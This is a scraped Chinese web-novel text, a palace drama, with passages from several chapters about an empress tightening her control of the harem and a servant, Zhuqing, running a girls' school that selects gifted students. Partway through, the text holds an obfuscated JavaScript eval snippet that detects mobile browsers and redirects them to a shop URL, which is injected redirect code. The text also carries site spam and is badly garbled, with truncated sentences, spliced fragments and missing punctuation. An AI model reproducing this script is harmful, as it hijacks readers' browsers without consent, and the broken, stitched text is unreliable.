“是,听闻她自缢前,德太妃曾派人去了慈宁宫,也不知说了些甚麽,恰好被淑贵太妃听见了。”竹清说,还能说甚麽,多半是陛下的事。 太子监国,皇后垂帘听政,只要不是个傻子,大抵都猜到了发生了何事。 淑贵太妃为人骄傲,当年陛下被记名在太后名下,她就曾绝食过一段时间,如今听闻儿子出事了,焉能不伤心欲绝? “走罢,去寿仁宫瞧瞧太后。”皇后起身。 * 寿仁宫中,太后倚靠在大红绣枝的抱枕上,皇后正给她喂药,乍然一看,活似亲的两母女,只是她们所说的话,却隐藏着刀光剑影。 待喂药结束,皇后把碗放进托盘中,问太后,“母后身子不适,儿臣想着,不若安排后妃前来侍疾,如此也好让儿臣放心。” “不必了,只,哀家有一事要问你,今个早上,有小宫女发觉寿仁宫外的侍卫换了新面孔,这是有变动?”太后慢条斯理地擦嘴,其实何止是侍卫换了,寿仁宫外的花匠、扫洒宫女等等,都更换了人。 这个发现,让太后骤然不安。 “的确是换了,先前伺候的那些办事不力,常常玩忽职守,故而就换掉了。母后,这事原是想着提前与您说,只您忙碌,儿臣这才没有来打扰。”皇后带着笑,与太后对视,慢慢说道:“左右不是甚麽大事。” “呵,的确是。看来哀家以后要做个闲人了。”太后突然冷笑,那种经历过 竹清吩咐,立刻就转了一个弯儿,慈宁宫位份最高的是淑贵太妃,其他与她一同住的先帝的妃嫔们都是些才人贵人。 眼见淑贵太妃不遭待见,慈宁宫里头伺候的宫女太监们也都懒惰了,不知去哪儿躲懒,竹清敲了许久的门才有人开。 “谁呀?太后娘娘吩咐关闭慈宁宫宫门,你们是谁?那嬷嬷打着哈欠问,她不认识竹清,只是待看见她身后明晃晃的仪仗之后,登时吓得双腿一软,立马跪地,口中支支吾吾地说道:“老奴,老奴见过皇,皇后娘娘,娘娘万福金安。老奴不知是皇后娘娘驾临,还请娘娘恕罪。 她这回也知道撞上主子了,也不知皇后娘娘会如何罚她。 “太后吩咐关闭宫门,难不成是让你们怠慢的吗?玩忽职守,当值的时候这是去了哪儿?皇后语气听不出怒不怒,但那掌事嬷嬷已然是吓破了胆子,说道:“娘娘饶命娘娘饶命。 慈宁宫本就只住着年老色衰的妃嫔,阴气森森,偶尔还有疯了的妃嫔在叫喊,往常除了殿中省的太监,谁还会往这儿走?她无论如何也想不到,皇后娘娘会到这儿来。 “带下去,慈宁宫所有宫人,送回教坊司,让殿中省再使一批宫人过来。皇后吩咐,也不嫌弃慈宁宫有落叶,就踩着落叶进去了。 慈宁宫属实算不得富丽堂皇,精致都算不得,因着地势不好,一进来就能感受到一股阴风,簌簌吹过,引得人鸡皮疙瘩一堆。再仔细一瞧,哪怕连一花一草,都是灰扑扑,没有一丝活力。 皇后瞧了淑贵太妃,她脖子上有一道勒痕,红中带紫黑,骇人得紧。她只看了几眼,就转过身离去,“告诉殿中省,淑贵太妃一应衣食住行都要给足,不能私底下克扣。 “是。竹清应和。 按照皇后的意思,殿中省也该好好敲打敲打,为日后掌控殿中省做准备。 先前皇后娘娘在庄子上培养的孤女们早已经长大,现在预备着安排进宫,也不必先进殿中省,只分散在各处学习,若日后组建尚宫局,她们立时就能派上用场。 * 殿中省内,林忠海倒了一杯茶水给竹清,又问她甚麽事,竹清说道:“也不是大事,皇后娘娘把慈宁宫的宫人都换了,先前的那些都打一顿,当个教训,此外殿中省再安排一些听话安 子也隔三差五的生病。” 在文妃怀孕之时就有太医诊脉说她怀了一个小皇子。本来养得好端端结果临近生产被一只猫吓着了难产拼死生下了九皇子。 “九皇子……若不是本宫让太医时时候着只怕他早就没了。”皇后叹息陛下儿子不少且偏爱五皇子哪怕九皇子出生他也没有多喜爱。 九皇子病了许久他也只是看过两回宫里看人下菜碟还是她专门嘱咐了擅长小儿妇科的太医一日三趟地去安云宫这才救回了九皇子。 凭着这个文妃就以她为首。 “启禀皇后娘娘昭贵妃去了勤政殿但是被太监们挡住了正哭叫着送回宫五皇子今个在勤学殿扰乱课堂秩序被先生狠狠骂了一顿。”菊儿禀报。 “听说昭贵妃哭得悲痛不已几度昏厥。”竹清说罢就又有新消息传来说是昭贵妃晕倒了她的宫女正去请太医呢。 “怎会这样备轿撵本宫去探望她到底是陛下宠爱的贵妃可不能在这个时候出事免得传出甚麽不好听的名声。”皇后说她想到昭贵妃闹腾高调的性子不免有些头疼。 昭贵妃这两年得宠本来她当昭妃时就已经是一宫主位 皇后到的时候太医刚给昭贵妃诊完脉五皇子在一旁满脸紧张见了她还是不醒一声一声地唤着她“母妃母妃您睁开眼睛我是铭哥儿您看看我我就在这儿母妃……” “皇后娘娘驾到——” 长长的唱喝声之后乾清宫已然跪倒了一大片只除了五皇子依旧在床榻边似乎没有听见。 “规矩都学到哪里去了?”皇后淡淡地问道也不指名道姓也不让宫人们起身。五皇子被宠坏了从前他在勤政殿与皇帝一同坐在龙椅上她去了皇帝有时给他喂东西他也就不起身行礼。 次数多了他也就生出了蔑视的心思时至今日他不会还以为皇帝会为他做主罢? 五皇子身子僵硬了一瞬旁边的奶嬷嬷提醒他“五皇子老奴知道您心系昭贵妃但是皇后娘娘在您得行礼的。” “儿臣见过母后母后万福金安。”五皇子 颇有些不情不愿皇后长久没有让平身他就只能这麽跪着。 竹清让人搬来了一张太师椅就放在五皇子跟前她扶着皇后坐下“娘娘站着累。你们两个去茶水房看看小宫女怎的还不端茶来规矩都学到哪里去了?没个当宫女的样也没有机灵劲儿这样也能在茶水房干轻松的差事?我看得拉回教坊司好好学一回宫规才是。” 如此夹枪带棒骂一通五皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583513|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子脸上已经一片涨红不提这个宫女含沙射影地骂他就说皇后的宫女在乾清宫教训乾清宫的宫人这般下脸面。 “娘娘喝茶。”竹清端过茶水给皇后。 内室明明有不少人但是只能听见皇后拨弄茶盖的声音一下两下清脆得很。 “都平身罢。”皇后把茶盏递给竹清五皇子跪得久了双腿一用力差点软倒在旁边还好奶嬷嬷及时扶住了他才不至于让他丢脸。 “昭贵妃如何了?怎的还不醒?”皇后问一旁低眉顺眼的太医上前回话“启禀皇后娘娘昭贵妃娘娘近日茶饭不思又兼心神不安今日一通发作出来气血上涌以致运气冲顶得睡个几个时辰这才能醒。” “传本宫懿旨昭贵妃身子不适在乾清宫静养所有来探望的妃嫔都需要事先问过本宫才可。再有五皇子也大了 皇后的话似是戳中了五皇子的死穴他双拳紧紧握着怒目圆睁大声辩驳道:“我没有都是他们——” “五皇子。”竹清打断他的话提醒道:“在皇后娘娘面前您该自称一声儿臣才是。” 五皇子紧咬嘴唇却也不想再争论方才的事而是低声声如蚊蝇般说道:“儿、儿臣知道了。” “请皇后娘娘恕罪五皇子心系昭贵妃一时头晕脑胀神志不清醒还望娘娘看在他有孝心的份上饶了五皇子这回礼数不足罢。”奶嬷嬷心里门儿清陛下不省人事前朝是太子做主后宫则是皇后娘娘掌控。 五皇子已经不可能再嚣张了如果他乖乖听话说不得还有一线生机再这样惹怒了皇后娘娘能不能活到成年还未可知。 “五皇子您就向娘娘求恕罢。”奶嬷嬷劝他五皇子高傲惯了的这些天被同学嘲讽被宫人怠 慢,被昭贵妃忽视。 一桩桩一件件,全都在他脑海里闪过,他很想大吼大叫,很想狠狠打脸那些看低他与母妃的人,可是他不能。 他见到了父皇,但是父皇却睁不开眼睛瞧他,父皇不会再为他撑腰了。 一直挺直的腰板终于弯了下去,他不再忽视皇后,而是跪地,磕头道:“还请母后恕罪。” “扶五皇子起来。”皇后只是想让五皇子认清事实,并不是要折磨一个小孩子,她不再看五皇子,视线落在脸色苍白的昭贵妃身上,吩咐道:“开椒房殿的库房,寻一些上好的药材过来,务必要治好昭贵妃。” “是。”竹清应了。 “恭送皇后娘娘。”五皇子就那样跪在地上,茫然地看着伺候皇后的宫人如潮水般退去,乾清宫一时变得寂静。 “五皇子,老奴扶您起来罢。”奶嬷嬷心疼,“昭贵妃娘娘还需要五皇子照顾呢,您可要振作起来,无论如何,您都是皇子啊。” 说句难听的话,哪怕陛下不在了,可五皇子依旧是皇子,只要不出错,太子殿下与皇后娘娘就不会对他如何,顶多冷待,不重用,但是皇子的荣耀与待遇,还是有的。 要是乖巧一点,说不得长大了,还能混一个亲王的爵位,也不至于让昭贵妃担惊受怕了。 “皇子……”五皇子深呼吸几下,脑子清醒了许多,他观方才皇后的神态举止,似乎并没有要把他如何,他是皇子,只要没有大错,就不会被废弃。 母妃还需要他。 见他想过来了,奶嬷嬷继续说道:“贵妃娘娘也不希望五皇子做出甚麽出格的事,五皇子暂且忍耐,待贵妃娘娘醒了,一切就会好的。” 只是,奶嬷嬷却很清楚,昭贵妃享受荣宠多年,教她一朝低头,不是一件容易的事。 作者有话要说 第 85 章 庄子里的女学 第85章庄子里的女学 马车的车辙拉得很长,这是一片郊外的泥地,这儿人烟稀少,唯有几家的菜庄子在此。 “竹清姑姑,到了。”车夫在外头说道,菊儿率先撩开车帘子,车夫搬出小脚凳,菊儿踩着那脚凳下了马车,又转身去扶竹清。 庄子里的管事早就在门口候着了,她年纪不大,约莫二十一二,身上穿着一件簇新的衣裳,头上以及手腕上的首饰金灿灿,甚麽钗环、耳坠,皆不是便宜货,有些还是宫制,很是有一番派头。 这正是从前皇后提前放出宫的那批宫女,又许了她们在这个庄子上教导小丫鬟,预备着往后入宫为皇后娘娘分忧。 “我估摸着竹清姑姑差不离到了,便在这儿等候着,姑姑小心台阶。”容西说,她有拿不准的事情就会询问竹清,譬如这会儿,她问道:“昨个有两个教拳脚的女先生来了,本事很不错,不过她们都有些要求,我却是轻易不能应的。” “哦?如何?说来听听。”竹清来庄子很多次,也不用容西带路,她在前边走走停停,容西便落后她一步,详实仔细地说道:“这头一个,是打青州来的,也没有跟着镖局,就孤身一人前来咱们这儿,我按照姑姑所说给她面试了,功夫了得,只不过她说她想要把父母也接到京都养老。” “第二个是跟着镖局从漠州来的,功夫也不差,她是带着一个女儿,希望她的女儿也能在咱们庄子读书学文,这个我也不好应了。如今庄子里的学生们都是经过精挑细选、每月考核,辛苦着呢!且日后都是要进宫的,我们不能把学生去向跟她说,也是为难。”容西苦恼,怎的找一个师傅就那样难? “这头一个便不成了,把她父母接来京都?还有咱们替她安排,且若是日后她父母有个头晕脑热,说不得她又要去照顾,一次如此,难不成次次都是?第二个也不好,先生们不了解学生们日后的去向,我们也不能告知,也推拒了她罢。两个都给足路费,让她们家去。”竹清听着课堂里传出来的读书声,压低声音慢慢说道:“咱们庄子是教小娘子们有礼知文,而不是作慈善堂的。且招聘时条件写得明明白白,日后再有这种夹带私货的面试者,一律不纳用。” “欸,我知道了。”容西说,“竹清姑 姑可是在听她们的读书声?读完书,她们就该考试了,正巧差一个监考的先生,不若姑姑去当一回? 她瞧出来竹清对这学堂还有学生挺感兴趣的,故而也想让她参与其中,果不其然,竹清面上浮现出一抹兴味,说道:“既然容西管事这般盛情邀请,我也不好拒绝。菊儿,待会儿你下去歇一歇罢,也不必跟着我了。 “是。 容西从宫里出来,是个知道周全的人,她望向菊儿,笑道:“菊儿姑娘不必觉得闷,后头有好顽的,我吩咐其他人带着你,好好走一回。 “那我可就等着大开眼界了。菊儿和气地回答道。 * 课堂上,先生放下戒尺与课文,说道:“一刻钟后预备考试,大家都知道,考试名次很关键,大家都要重视起来,莫要随意应付。 “知道!女学生们个个昂首挺胸,应得相当大声,有个别不怕先生的,还在那儿说小话,“先生每回都这样说,其实先生不必这样的,我们哪儿敢随意对付考试?被赶回家就老实了。 她们从前到这儿来,只以为是当丫鬟做苦活伺候人,不曾想能读书写字,虽说自个的生活起居是要自个料理,但是这已经是她们以前想都不敢想的好日子了。 先生在她们上课的第一天就说过,考试成绩很关键,能决定她们日后的命运。可有些人不在意,明明很聪明,可是舒服日子过习惯了,便懒怠起来,最终考试不及格,当即就扭了她,不知送去哪儿了。 那时,先生就与她们说道:“别以为来这儿是当小姐的,纵使能学文,纵使不用伺候主子,可你们也要明白。主子善心,你们却不当回事,照样是会招来祸端的,可听明白了? “听明白了!刚到庄子不久的小娘子们忙不迭出声应,个个惴惴不安,生怕被赶走,故而都是拼了命地学习。 竹清拿着试卷走进来,学生们的座位、考试的形式、试题等等,都是她参照后世出的,尤其是试题,不是文邹邹的官话,而是通俗易懂的大白话,考题也是广得很,上天入地,没甚麽不能考的。 “考试的要点想必你们都记得,不许交头接耳,不许偷看旁人的……竹清一边发试卷一边说,不多时,学生们就开始动笔。 她怕干扰到 她们,所以就只是站在台上看,见有些人下笔如有神,有些眉头皱起,明显在思考。 这些可都是以后入尚宫局的好面子,竹清越看越满意,不错,等日后扩大规模,这样的人才会越来越多。 一个时辰后,锣鼓敲了三下,铛铛铛,震耳欲聋,这代表着考试结束。 学生们都停笔,双手放在腹部前方,竹清则是一个个收卷子,再拿着卷子回了先生们待的内室。 “竹清姑姑。” “竹清姑姑,这放在旁边就行。” 见了竹清,他们俱都起身,言语中很是有几分恭敬。不尊敬不行,毕竟年底奖赏是丰厚还是薄待,全凭竹清姑姑做主啊! “卷子应该很快就能批出来罢?你们先改,我待会儿来瞧瞧。”竹清也不打扰他们,而是出门,到处逛了逛。 * 考完试之后原是有半日小假日,虽然学生们不能出去,但是在庄子里顽还是可以的。不过却没有一个学生放松,而是都在学堂里聚精会神地看书。 “欸,方才那个是新来的先生吗?我从未见过。” “不是,我倒是见过几回,是容西管事陪着的,不知是谁。” 她们低声说悄悄话,有些则是在对答案。 “竹清姑姑,您瞧这儿,小桥流水,亭台楼阁,我可是好羡慕。”菊儿倒不是说假话,她是真的羡慕这些学生能在这种地方长大,比她以前幸运多了。 “你羡慕她们,她们却也羡慕你。”竹清笑悠悠地说道:“没看见她们多努力?脑子不好的不要,态度不端正的不要,她们永远要想着读书写字,也是辛苦的。你在宫里伺候皇后娘娘,已经是多少人盼都盼不来的好事?” 这话可不假,选秀进宫的妃嫔贴身宫女都是从家里带的,即便没有,她们也更信任那些年长的姑姑嬷嬷,像菊儿这般年青的,总是教人怀疑能力。 “姑姑就让我发一回牢骚,菊儿可没有正正经经上过学。”菊儿惆怅,读书啊,那都是男子的事。可是自从跟了竹清姑姑出来,瞧了好几回,她才知道,原来女子也可以读书,也可以考试的。 “竹清姑姑,我往后能不能去你那儿借一些书,看了她们,我才明白不论从前如何,这今后的日子都是我们自己掌握的,我也想读书。” 菊儿一脸坚定地说道,她看了竹清几眼,竹清从她眼神中读出了一些忐忑。 菊儿能开口说这话,应当是经过几番天人交战,竹清点头,说道:“你喜欢读甚麽就借甚麽,有不懂的,大可以趁我得闲时来寻我,我给你解答。” 她有个书架,上边放满了书籍,都是她自己寻摸,亦或是皇后娘娘赏赐的,都很宝贵。若不是看菊儿心性不错,她才不会借。 “多谢竹清姑姑!”菊儿喜得在原地转圈,又连忙说道:“回去后,还请姑姑给个机会,让我伺候你,梳头、洗漱,我都会把姑姑服侍得妥妥贴贴,姑姑可不要嫌弃我。” 竹清笑着摇了摇头,指着她说道:“你个机灵鬼,我何须你伺候?你该往皇后娘娘身上使劲儿才是。我身边有红花她们,你且放宽心,把这等表现的机会让给她们,我也好时常提点她们,给她们一些好吃食。” 甭看都是伺候皇后娘娘的宫女,以为待遇很好,实则最下边的宫女们勾心斗角,个个拉帮结派,可着劲儿地欺负旁人。例如红花,那些宫女不敢明面上欺负她,但是暗地里排挤得可厉害,经常只剩下残羹冷炙给她。 还是她常常叫红花做事,给她糕点或者饭菜,这才让她吃饱了,脸上也长了肉,不再一副瘦干的模样。 显然菊儿也知道红花的遭遇,她“欸”了一声,说道:“瞧我这个脑子,一心只想着感谢姑姑,都忘了红花更需要在姑姑身边。她也不容易,进了椒房殿,勤快得很,听说旁人有事让她搭把手,她也肯应。” “都是个人的选择,她本来就甚麽也不懂,多跟着学,耳语目染的,定是能成长。她这般不服输,有一股冲劲,指不定甚麽时候就被皇后娘娘看见,赏识她了。”竹清说,她对于红花还是很看好,坚韧不拔,出头是迟早的事。 “竹清姑姑,先生们已经把卷子批改完成,容西管事让我来寻你回去。” “走罢。”竹清看了菊儿一眼。 “如何?有多少优秀的?”竹清问,卷子涵盖范围广,能都答出来的不多,更多的,是偏科。 “这儿,都按照竹清姑姑的吩咐分出来了,这几个是优秀,这几个是某一方面很出色,剩下的,都平平。”先生们说。 竹清一张一张卷子翻着,看着上边的名字,她坐 在一边把这些名字写下来随后把名单递给菊儿“把这份名单送到容西手上让她安排明日就把这些人送走。” “是。”菊儿接过名单出去了有一位教导礼仪的女先生不顾其他人的提醒忍不住问道:“敢问竹清姑姑这些学生都送去哪里?她们可都是很优秀的比起男子也不输。” “许先生!慎言!”胡子花白的老先生脸色大变他们是被聘请的先生待遇超乎想象这样的情况下甭管主家想要这些小娘子做甚麽他们都不应该干涉。 说句不太好的话他们能管得了一个管得了第二个麽?何必惹恼主家倒连累自己丢了这份体面的活计?那些学生与她何干? 许先生却并不怕她早已听容西管事说过这一批优秀学生是要送走的可是她想不通若是那些不愿意学习的被送走那还情有可原可是出众的学生会送去哪里? “竹清姑姑我看着那些学生长大她们都是好孩子断不能去做些不入流的事……”许先生有些惊慌她从前听过一些人家会培养女孩儿去伺候达官贵人以此获得利益。 她怕这些学生也是。 “这不是你该管的你只需要好好上课就是了。”竹清说她起身正准备出门复又扭头说了一句“她们会有更好的前程。” 学识优秀能举一反三的就不必送去宫中了大材小用这样的学生合该送去善用馆她们会在善用馆大放异彩。 “竹清姑姑名单上的学生都聚集起来了您看看要不要去说几句话?有您在 这些小娘子到底还小乍一听闻要离开这里俱都有些惴惴不安生怕是去了魔窟。 竹清说道:“带路。” 被挑选出来的学生一共有七个是一百多个学生当中较为有天赋的她们方才还在交头接耳如今看见容西管事来了便止住了声音。 “这位是竹清姑姑也是亲自挑选你们的人现在竹清姑姑有话要与你们说大家都安静些好好听着。”容西说完这七个人就盯着竹清一张张脸上满含惊讶原来这位就是竹清姑姑她们从前只听过她的名字却不曾见过她。 “我知道你们在担心甚麽放心不是送你们去做见不得人 的事。你们喜欢思考麽?学了知识之后,再思考能做出甚麽,付诸于实践,然后带来变化。”竹清问道,学生们见她和气,不似想象中那般是个严肃的人,也渐渐放下心来,心里不那麽紧张,开始七嘴八舌地回答她。 “喜欢的,我学了水流能带动大船,想起我家乡的人从前都是用水桶挑水去浇麦子,我就想能不能做一个用水带动的东西,可以自动浇水灌溉,就不用那麽辛苦,他们不用大日头去提水。” 竹清看了这个率先开口的学生一眼,脑子里很快就浮现出这个学生的身份信息:陈学恒,之前叫陈招娣,来这儿读书的第 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“可以的,你的想法是基于现实转化而来,在庄子上不能给你做研究,但是等你们离开了庄子,就可以动手做研究。你想要尝试做这样能灌溉的器具,那儿有木匠候着,你只需要把图纸给木匠,他们就能给你做出来。”竹清走上前,与陈学恒对视,她头上绑着一条天青色的头饰带子,垂下来的一截儿随着风微微撞着她的侧脸。 竹清伸手把那根轻飘飘的带子拨到后边,这才与她说道:“我相信你。” 陈学恒突然笑了笑,脸一下子就红透了,她不好意思地挠挠头,“姑姑,我自己都没有信心,谢谢您这样看得起我。我一定要努力,把,呃……”显然,她只有一个构想,尚且没有命名。 “姑姑,您可以为它先起个名字吗?”陈学恒掏出一副粗线条的画作,上边正是水车的大致形状。 “在水里能动的,叫水车如何?”竹清说,随后,她又指出某些地方应该修改修改。 陈学恒眼睛亮亮,马上提笔就开始修改,“我之前总觉得哪里不对劲,改过是好多了。水车,水车……” 又有其他学生问竹清,“姑姑,您方才说我们以后都能做研究?是去哪儿呢?真的吗?” “真的,你们学得好,所以现下有个表现的机会给你们,端看你们接下来能不能把握住,若是能,青史留名不在话下。”竹清满含鼓励地说道。 “青史留名?咱们麽?真的可以?”她们围住竹清,你一言我一语地询问。 “姑姑,可以,可以给我一个地址麽?日后我有不懂的地方,我想写信给您,与您探讨。”陈学恒忐忑地问,竹清在纸上写下一个铺子的名字,“这是主家的店铺,你寄信到这儿,他们会给我。” “好!”陈学恒如获至宝,赶紧贴身收藏。 过了大半个时辰,学生们被带走了,容西对竹清说道:“她们不知礼,麻烦竹清姑姑了。” “不麻烦,还挺可爱的。”竹清想了想给她印象最深的陈学恒,若她去了善用馆,做出一番成就,入了太子殿下的眼,日后说不得也能召入工部。 当然,前提是科举男女同考,短期内是不可能实现,得等太子大权在握,说一不二时才有可能让女子入朝为官。 竹清也不知道太子能不能做到,直到上了马车,她依旧在思考这个问题。 “您回来了,姑姑,皇后娘娘还有太子殿下正在等着您呢。”红花正在宫外扫着地,见竹清朝着这边走,提着扫帚就上前低声通气。 “我这就去,天冷了,你多穿两件衣裳,如果不够厚,我借你银钱采买。”竹清也做过扫洒丫鬟,自然知道红花的难处。 “欸,我晓得轻重的,不会让自个生病影响当差。”红花整个人拂去灰蒙蒙,逐渐露出了内里的坚韧。 “那就好。”竹清没空与她多说,丢下一句就步履匆匆地进正殿了。 “你回来了,坐。”皇后与太子正在下棋,听闻了熟悉的脚步声,头也不回地说道。 竹清 搬了圆凳到旁边坐着皇后问她“挑出多少个出色的送去善用馆了?” “七个剩下的却都平平。”竹清说“剩下的九十多个再考几次试合适的就送进宫不合适的就放进庄子亦或是铺子当个女掌柜也不差的。” 有的就是其他方面不行但是算术以及做生意非常突出让这样的人入宫简直是浪费人才。 “不少了天下英才说多不多说少不少如今能选出这些孤觉得正正好。”太子手执白棋子吃掉了一颗黑棋“母后输了。” “我可不与你下了下不赢连吃我三局。竹清你来我可要松松肩去传人捏肩。”皇后一拂衣袖有些孩子气地走开。 竹清替皇后捏了一阵儿太子已经把棋子都拾捡好她这才坐过去只挨着一点点位置与太子对弈。 “等这一批教导成才还需要搜罗其他孩子不过我预计着还是女孩多男孩的家里人可不舍得放人作下人伺候主子。”皇后喝了几口温热的茶水。 她们寻摸这些小娘子用的借口都是买卖为奴寻常人家若能吃饱喝足不愁一日三餐的哪儿肯卖儿子孙儿?可长此以往都是女孩儿也不成。 说不得就漏掉一些机灵的哥儿了。 “男子倒是不用担心世家权贵早已经替我们培养好了只是缺少女子而已。再则只有被逼到了一定的境地人才会迸发出潜力。如那些小娘子被卖进来就拼着一口气死命读书。”太子说 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)他气质温润如手中的白棋散发着莹莹的光。 “而像那些哥儿我看却未必。说不定养着他们还浪费口粮倒不如不养。日后这些小娘子们有成就倒是反过来逼世家郎君们上进这就可以了。” 竹清也很赞同太子所说这世道重男轻女哥儿受宠长大不说没有人舍得卖儿子就说有卖的终究会来探望、纠缠麻烦得很。 作者有话要说 第 86 章 祁王与威德大将军 第86章祁王与威德大将军 * 却说郊外的庄子里,七个女学生被连夜送走了有些人见她们收拾行李离开了不免得一颗心七上八下,落不到实处。 “陈姐姐她们走了这是送到哪儿去?我,我害怕……” “怕个甚麽,咱们能在这里读书学礼仪哪怕出去之后要我卖身,我也乐意。享受了庄子的好就值得了。” 听见有人低声说想要离开方才说话的就“呸”了一声,“我告诉你,你可别犯浑,咱们签了死契你莫不是享受了两年好日子,就忘了罢?用不用我给你讲讲律法?签了死契的丫鬟逃跑,抓到之后由主家自行处理打死还是轻的。” 如此吵吵闹闹一通直到容西管事挨个查看要她们歇息,她们这才安静了。 * “竹清剩下的学生你分一分着二十个人入宫罢四散分在各处让她们跟着嬷嬷好好学一学本事。庄子暂时不必再教人,那些丫鬟都得细细查验过,才能成为学生,倒是不急。”皇后说。现在宁缺毋滥,决不能随随便便就收人。 “是那其余的是不是要送去铺子里?娘娘想要在北安州开店铺酒楼她们正好是一个人选也不怕苦不怕累最重要的是她们去哪都无妨。”竹清放下一颗黑棋看向了太子殿下“殿下奴婢好像要赢了。” “自然当初给她们签的是死契甭管有没有父母亲人她们可都不能因着牵挂亲人就推三阻四分出多一些人去北安州。”皇后点头赞同竹清的话。 竹清想了想那她明日还得出宫一趟就这麽一分神棋局胜负已定她输了。 “殿下好厉害。”她笑着说太子赢了好啊她总不能赢了太子罢? “和竹清姐姐下棋需要精神头 “既然这一回庄子女学开办得还算成功不若继续再办几个也好筛选出优秀的学生。”太子慢条斯理地说道“只是年龄不能太大太大的就会想着归家还想着贴补家里。” 他似乎是想到了甚麽不愉快的事眉毛拧起眼神中满是不虞皇后见 他这个样子,就轻声问他,“怎麽了?发生了甚麽事?你与母后说说。” “原也不是甚麽大事,下边有个小县里头的善用馆有些闹腾,一个差不离二十岁的女子做出研究之后申请出去顽一趟,那管事批了。结果她是家去,她回家了就被家人灌醉,把研究说了个七七八八,还被绑着上了花轿,预备着给老汉冲喜。”太子捏着眉心,“等管事知道这事时,善用馆已经被许多平民百姓围了,他们也要求送儿子女儿来,说那儿工钱高,此事闹得很大。” 皇后脸色沉下来,竹清也低头,出了这样的事,往后善用馆可能就不会收用二十岁以上年纪的女孩了。 “成事不足,败事有余。”皇后恨恨地说道,“我记得善用馆里的女孩子不都是不被家里重视,所以送过去的麽?她做甚还要回去?” “据说是她曾经不受重视,能赚钱了之后就家去让父母瞧瞧,想让他们后悔。”太子见皇后一脸怒火,就转而安抚她,“母后莫担心,那儿县令是我的人,这件事已经压下去了,不会再有人提。” 只是却也让他为难,善用馆与来投奔的人是雇佣关系,他们不肯签死契。年龄小的看不出值不值得培养,年龄大的又不好掌控。好在现在有了庄子女学,往后从庄子上选人充实善用馆,善用馆就慢慢减少从外头雇佣,以确保稳定性。 “皇后娘娘,太子殿下,你们消消气。人一多了,总归是甚麽性子的都有。改造织机的不是一个小娘子?先前太子殿下还说她与家中恩断义绝,可见此事不关学识本领的事,只关乎自个能不能立起来。”竹清开口。 太子颔首,说道:“我也赞同竹清姐姐的话,甭说底层的人,就说世家子,不也有私心。只是现在各处的善用馆已经创办得有模有样,往后再进人,就得好好挑选,不必急于一时。” 从前是想着快些有成果,故而人选就放宽条件,现在就不能这般了。 “既如此,竹清,咱们庄子上的女学生也要筛选几次,这才能送进来读书,往后要更为严格。等这一批人都各自有人去处,再选人时你得仔细看住了。”皇后与竹清说完,又和太子抱怨道:“当初我就觉得不妥,那善用馆的人不与咱们签死契,最容易惹事了。” “母后,那善用馆一开始打着的名头就是收纳有能 力的人,而不是随意招工,不然那些有本事的隐士可都不会去。”太子不想在这件事上没完没了地说,就话锋一转,说起了前朝的事。 “今日有道折子,是言官上的,说是我年纪不小了,合该选太子妃,打量我不知道他的心思。” “这却不急,你只管用你父皇生病的事去搪塞就好了。母后希望你日后大权在握,能选一个自个喜欢的太子妃,而不是为了妥协平衡,随意挑一个。”皇后说道。 “儿臣知道。”太子让皇后放心。 * 却说竹清第二日又出宫了,照样带上了得力助手菊儿。 “竹清姑姑,我且要感谢你,若不是您次次带我,我就不能得了娘娘的赏赐。”菊儿高兴自己的小金库日日有进账,她低声与竹清说道:“姑姑,昨个娘娘赏我的钗子,她们都没有呢?” “傻丫头,这话你可别在冬雨她们面前说。”竹清眯了眯眼睛,冬雨就是大宫女,春夏秋冬,名字与从前的暖春等人相似。 “我这几回都带着你,是免得你遭了冬雨她们的眼,她们现在可劲儿往娘娘身上使劲儿,身边容不下争宠的旁人。” “你可明白?” 意识到竹清姑姑想要考一考自个,菊儿呼吸都放轻了,她没有第一时间回答,而是思索了许久,这才说道:“是因着冬雨她们即将出宫嫁人?她们讨好娘娘,想要一份丰厚的陪嫁?” “这是一部分原因,更要紧的是,你投靠了我,咱们两方恰好维持了一个平衡,如果你常在娘娘身边,而我又出宫去办差事了,你一准会被她们寻摸了错处惩罚。”竹清说。 伺候皇后娘娘的四个大宫女是提拔的宫人,椒房殿里贴身服侍皇后的除了她,就没有哪个是皇后从王府带来的。 她们四个虽然明面上尊敬她,却又隐隐想要压她一头,因她年纪轻轻当了掌事宫女,她们多多少少有些意见。毕竟旁的娘娘宫里作掌事姑姑的,至少四十多岁了。 像年纪最大的冬雨,她只比她小三岁,却要听命于她,如何肯甘心? “娘娘器重我,时新瓜果蔬菜、首饰衣料通通有我一份,独一份,时日长了,是会招人眼红的。她们明面上对我尊敬,内里如何想却难说。你既然站我,我自当护一护你。”竹清拍了拍菊儿的肩 膀看她恍然大悟又说道:“等她们出嫁了是向娘娘提点你让你当个大宫女好好压着下边的人。” 当她不知道?春夏秋冬四个报团不说还拉拢下面的宫女。她最近事情多这样的事也就不大管正好借着这个机会看看有多少人是对她不满的。 “多谢姑姑。”菊儿惊喜她犹豫几下说道:“有一事我想告诉姑姑又怕姑姑觉得我拨弄是非。” “你只管说。” “小厨房的董妈妈曾经说过您的小话说您牢牢把着皇后娘娘不让其他人出头。”菊儿低声说着瞧了瞧竹清见她好似没有生气又说道:“那董妈妈是秋荠的姨妈与她是一伙的我觉得可能是秋荠与她抱怨过甚麽所以她才那样愤愤不平。姑姑这是我的一点拙见您别放在心上。” “你猜的不错谁都想出头过好日子也不是人人都服我的管教。”竹清思索董妈妈是小厨房的副管事曾妈妈死死压着她她又知道曾妈妈的位子是她一手提拔。这董妈妈未必不是看不惯曾妈妈然后连她一并讨厌上了。 对于皇后娘娘来说宫人用得习惯顺手就好了不管她们之间有甚麽摩擦都不妨事因为大家心里有数不会闹到她跟前。 “小厨房有曾妈妈殿中有你下边再有一个红花如此就全乎了。”竹清笑了笑完全不介意其他人合伙对抗她。 